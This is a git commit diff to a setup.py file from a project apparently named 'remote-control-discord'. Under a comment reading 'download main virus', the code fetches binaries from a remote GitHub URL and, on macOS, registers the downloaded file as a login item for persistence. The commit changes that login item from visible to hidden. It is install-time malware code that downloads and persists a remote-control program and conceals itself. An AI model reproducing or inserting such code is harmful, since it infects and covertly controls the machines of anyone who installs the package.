From 60eb0daaf1cfddc8c3f9b7cc3a114d36015f27f0 Mon Sep 17 00:00:00 2001 From: system Date: Sun, 27 Aug 2023 20:13:21 +0800 Subject: updated --- setup.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'setup.py') diff --git a/setup.py b/setup.py index 842d3dc..8e26725 100644 --- a/setup.py +++ b/setup.py @@ -19,8 +19,8 @@ except FileNotFoundError: # download main virus if platform == "darwin": - system(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{localfile}\", hidden:false}}' > /dev/null") open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/remote-control-discord/main/dist/main-mac", allow_redirects=True).content) + system(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{localfile}\", hidden:true}}' > /dev/null") elif platform == "linux": from os import environ open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/remote-control-discord/main/dist/main-linux", allow_redirects=True).content) -- cgit v1.2.3